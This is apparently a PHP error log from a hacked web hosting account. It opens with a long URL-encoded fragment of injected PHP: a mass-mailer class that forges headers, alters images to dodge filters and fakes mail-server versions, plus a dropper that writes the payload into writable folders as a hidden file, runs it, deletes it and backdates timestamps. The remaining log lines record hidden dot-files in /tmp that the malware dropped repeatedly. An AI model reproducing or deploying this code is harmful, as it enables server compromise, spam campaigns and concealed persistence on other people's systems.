%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528array%2528%2527%257Bvar%253A%257D%2527%252C%2527%257Bemail%253A%257D%2527%2529%252C%2520array%2528%2527%257Bvar%253A1%257D%2527%252C%2520trim%2528%2524data%255B0%255D%2529%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524text%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_headers%2528%2524fromname%252C%2520%2524frommail%252C%2520%2524replyto%2520%253D%2520null%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524fn_enc%2520%253D%2520%2528function_exists%2528%2527iconv%2527%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253F%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2540iconv%2528%2527UTF-8%2527%252C%2524this-%253Eencoding%252C%2524fromname%2529%2529.%2522%253F%253D%2522%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253A%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2524fromname%2529.%2522%253F%253D%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%253D%2520%2522From%253A%2520%2522.%2524fn_enc.%2522%2520%253C%2522.%2524frommail.%2522%253E%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_null%2528%2524replyto%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Reply-To%253A%2520%2522.%2524replyto.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522MIME-Version%253A%25201.0%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Ecustom_headers%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520str_replace%2528%2522%255Cn%2522%252C%2520%2522%255Cr%255Cn%2522%252C%2520trim%2528%2524this-%253Ecustom_headers%2529%2529.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520cut_tags%2528%2524message%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%253D%2520trim%2528strip_tags%2528%2524message%252C%2520%2527%253Ca%253E%2527%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524find_a%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520while%2520%2528%2524find_a%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524start%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253Ca%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524start%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524href%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527href%2527%252C%2520%2524start%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524href%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524href%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%2522%2527%252C%2520%2524href%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524href%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524endh%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%2522%2527%252C%2520%2524href%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524endh%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enda%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253C/%2527%252C%2520%2524endh%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524enda%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enda%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253E%2527%252C%2520%2524enda%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524enda%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524before%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%25200%252C%2520%2524start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524link%2520%2520%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%2520%2524href%252B1%252C%2520%2524endh-%2524href-1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524after%2520%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%2520%2524enda%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%2520%2520%2520%2520%2520%253D%2520%2524before.%2524link.%2524after%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524find_a%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524msg%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520str_replace_once%2528%2524search%252C%2520%2524replace%252C%2520%2524text%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos%2520%253D%2520%2540strpos%2528%2524text%252C%2520%2524search%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2528%2524pos%2521%253D%253Dfalse%2529%2520%253F%2520%2540substr_replace%2528%2524text%252C%2520%2524replace%252C%2520%2524pos%252C%2520strlen%2528%2524search%2529%2529%2520%253A%2520%2524text%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520download_source%2528%2524url%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540file_get_contents%2528%2524url%252C%2520false%252C%2520%2524this-%253Econtext%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520file_string%2528%2524name%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ext%2520%253D%2520strtolower%2528%2540pathinfo%2528%2524name%252C%2520PATHINFO_EXTENSION%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524ext%252C%2520array%2528%2527jpeg%2527%252C%2527jpg%2527%2529%2529%2520%2526%2526%2520%2524this-%253Echeck_rand_img%2528%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524this-%253Erand_img%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540file_get_contents%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520random_text%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%2520%253D%2520%2527qwertyuiopasdfghjklzxcvbnm%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540substr%2528str_shuffle%2528str_repeat%2528%2524chars%252C%2520rand%25283%252C8%2529%2529%2529%252C%25200%252C%2520rand%25283%252C8%2529%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520generate_str%2528%2524len%252C%2520%2524mode%253D0%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524mode%253D%253D%253D1%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%2527abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ1234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524mode%253D%253D%253D2%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%25271234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%2527abcdefghkmnpqrstuvwxyz1234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524res%253D%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524mx%2520%253D%2520strlen%2528%2524chars%2529-1%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524i%253D0%253B%2524i%253C%2524len%253B%2524i%252B%252B%2529%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524res%2520.%253D%2520%2524chars%255Bmt_rand%25280%252C%2520%2524mx%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524res%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_rand_img%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528array%2528%2527getimagesize%2527%252C%2527imagecreatetruecolor%2527%252C%2527imagecreatefromjpeg%2527%252C%2527imagecopyresampled%2527%252C%2527imagefilter%2527%252C%2527ob_start%2527%252C%2527imagejpeg%2527%252C%2527ob_get_clean%2527%2529%2520as%2520%2524f%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521function_exists%2528%2524f%2529%2529%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520rand_img%2528%2524file%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524w%252C%2520%2524h%2529%2520%253D%2520%2540getimagesize%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524new_w%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520%2524w%252Brand%2528-10%252C10%2529%2520%253A%2520%2524w%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524new_h%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520%2524h%252Brand%2528-10%252C10%2529%2520%253A%2520%2524h%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524quality%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%252075%2520%253A%2520rand%252865%252C105%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524bright%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520rand%25280%252C35%2529%2520%253A%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524contr%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520rand%2528-15%252C15%2529%2520%253A%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524im_p%2520%2520%2520%2520%253D%2520%2540imagecreatetruecolor%2528%2524new_w%252C%2524new_h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524im%2520%2520%2520%2520%2520%2520%253D%2520%2540imagecreatefromjpeg%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagecopyresampled%2528%2524im_p%252C%2520%2524im%252C%25200%252C0%252C0%252C0%252C%2520%2524new_w%252C%2524new_h%252C%2520%2524w%252C%2524h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagefilter%2528%2524im_p%252C%2520IMG_FILTER_CONTRAST%252C%2520%2524contr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagefilter%2528%2524im_p%252C%2520IMG_FILTER_BRIGHTNESS%252C%2520%2524bright%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ob_start%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagejpeg%2528%2524im_p%252C%2520null%252C%2520%2524quality%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524out%2520%253D%2520%2540ob_get_clean%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagedestroy%2528%2524im_p%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524out%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_mime_type%2528%2524file%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527mime_content_type%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540mime_content_type%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528function_exists%2528%2527finfo_open%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524finfo%2520%253D%2520%2540finfo_open%2528FILEINFO_MIME_TYPE%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524finfo%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524type%2520%253D%2520%2540finfo_file%2528%2524finfo%252C%2520%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540finfo_close%2528%2524finfo%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524type%2520%253F%2520%2524type%2520%253A%2520%2527application/octet-stream%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ext%2520%253D%2520strtolower%2528%2540pathinfo%2528%2524file%252C%2520PATHINFO_EXTENSION%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524map%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527jpg%2527%253D%253E%2527image/jpeg%2527%252C%2527jpeg%2527%253D%253E%2527image/jpeg%2527%252C%2527png%2527%253D%253E%2527image/png%2527%252C%2527gif%2527%253D%253E%2527image/gif%2527%252C%2527bmp%2527%253D%253E%2527image/bmp%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527pdf%2527%253D%253E%2527application/pdf%2527%252C%2527zip%2527%253D%253E%2527application/zip%2527%252C%2527rar%2527%253D%253E%2527application/x-rar-compressed%2527%252C%2527txt%2527%253D%253E%2527text/plain%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520isset%2528%2524map%255B%2524ext%255D%2529%2520%253F%2520%2524map%255B%2524ext%255D%2520%253A%2520%2527application/octet-stream%2527%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_host_ptr%2528%2524ip%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521function_exists%2528%2522dns_get_record%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ptr%2520%253D%2520implode%2528%2522.%2522%252C%2520array_reverse%2528explode%2528%2522.%2522%252C%2520%2524ip%2529%2529%2529.%2522.in-addr.arpa%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2540dns_get_record%2528%2524ptr%252C%2520DNS_PTR%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524host%2520%257C%257C%2520%2521isset%2528%2524host%255B0%255D%255B%2522target%2522%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524host%255B0%255D%255B%2522target%2522%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520rfc_date%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520%2540date%2528%2527Z%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tzs%2520%253D%2520%2528%2524tz%253C0%2529%253F%2527-%2527%253A%2527%252B%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520abs%2528%2524tz%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520%2528int%2529%2528%2524tz/3600%2529%252A100%2520%252B%2520%2528%2524tz%25253600%2529/60%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520sprintf%2528%2522%2525s%2520%2525s%252504d%2522%252C%2520%2540date%2528%2527D%252C%2520j%2520M%2520Y%2520H%253Ai%253As%2527%2529%252C%2520%2524tzs%252C%2520%2524tz%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520random_exim_version%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524maj%2520%253D%2520array%25284%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524min%2520%253D%2520range%252893%252C97%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pat%2520%253D%2520range%25280%252C3%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x1%2520%2520%253D%2520%2524maj%255Barray_rand%2528%2524maj%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x2%2520%2520%253D%2520%2524min%255Barray_rand%2528%2524min%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x3%2520%2520%253D%2520%2528rand%25280%252C1%2529%253D%253D1%2529%2520%253F%2520%2527.%2527.%2524pat%255Barray_rand%2528%2524pat%2529%255D%2520%253A%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522Exim%2520%2524x1.%2524x2%2524x3%2522%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_header_date%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520date%2528%2527r%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_header_message_id%2528%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520md5%2528uniqid%2528mt_rand%2528%2529%252C%2520true%2529%2529.%2527%2540%2527.%2524domain%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%257D%250D%250A%250D%250A%2524cm%2520%253D%2520new%2520CompactMailer%2528%2529%253B%250D%250A%2524cm-%253Erun%2528%2529%253B%27%29%3B%20if%20%28file_put_contents%28%24p%2C%20%24c%29%29%20%7B%20%20%20%20%20echo%20%27%21success%21%27%3B%20%20%20%20%20%40touch%28%24p%2C%201754038309%29%3B%20%7D%20die%28%27%21ended%21%27%29%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.locked";if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die("!notwrtbl!");'] in /home/tokomrjk/pajang2.paussea.com/viewer.paussea.com.php on line 1 [01-Aug-2025 12:43:33 UTC] PHP Warning: Undefined array key "fx" in /tmp/.locked on line 1 [01-Aug-2025 12:43:35 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.locked on line 1 [01-Aug-2025 16:08:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 6 [01-Aug-2025 16:08:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 6 [01-Aug-2025 16:09:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 6 [01-Aug-2025 22:40:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 6 [01-Aug-2025 22:41:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 6 [01-Aug-2025 22:41:59 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 6 [02-Aug-2025 05:09:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 6 [02-Aug-2025 05:16:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 6 [02-Aug-2025 11:41:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 5 [02-Aug-2025 11:42:42 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 5 [02-Aug-2025 18:11:05 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 6 [02-Aug-2025 18:11:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 6 [03-Aug-2025 00:41:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 6 [03-Aug-2025 00:42:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 6 [03-Aug-2025 00:44:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 6 [03-Aug-2025 07:13:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 6 [03-Aug-2025 07:14:15 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 6 [03-Aug-2025 07:14:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 6 [03-Aug-2025 13:25:55 UTC] PHP Warning: chmod(): No such file or directory in /opt/alt/php81/var/lib/php/session/sess_0149f4e6ef79cfc87d6381e75ad236d7 on line 1 [03-Aug-2025 13:43:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.requests on line 6 [03-Aug-2025 13:44:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 6 [03-Aug-2025 13:45:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 6 [03-Aug-2025 20:14:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 6 [03-Aug-2025 20:17:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 6 [03-Aug-2025 20:18:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 6 [04-Aug-2025 02:51:18 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 6 [04-Aug-2025 15:53:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 4 [04-Aug-2025 22:19:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [05-Aug-2025 04:53:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [05-Aug-2025 11:22:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 5 [05-Aug-2025 17:49:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 5 [06-Aug-2025 00:24:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [06-Aug-2025 06:56:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 5 [06-Aug-2025 13:25:19 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [06-Aug-2025 19:52:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [07-Aug-2025 02:24:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 5 [07-Aug-2025 08:58:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 5 [07-Aug-2025 22:00:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [08-Aug-2025 04:29:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.request on line 5 [08-Aug-2025 17:34:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 4 [09-Aug-2025 06:38:10 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [09-Aug-2025 13:07:52 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [09-Aug-2025 19:36:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [10-Aug-2025 02:09:21 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [10-Aug-2025 15:08:23 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [10-Aug-2025 21:43:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [12-Sep-2025 03:07:09 UTC] PHP Warning: Undefined array key "bk" in /tmp/.accepted on line 1 [12-Sep-2025 03:07:09 UTC] PHP Warning: Trying to access array offset on value of type null in 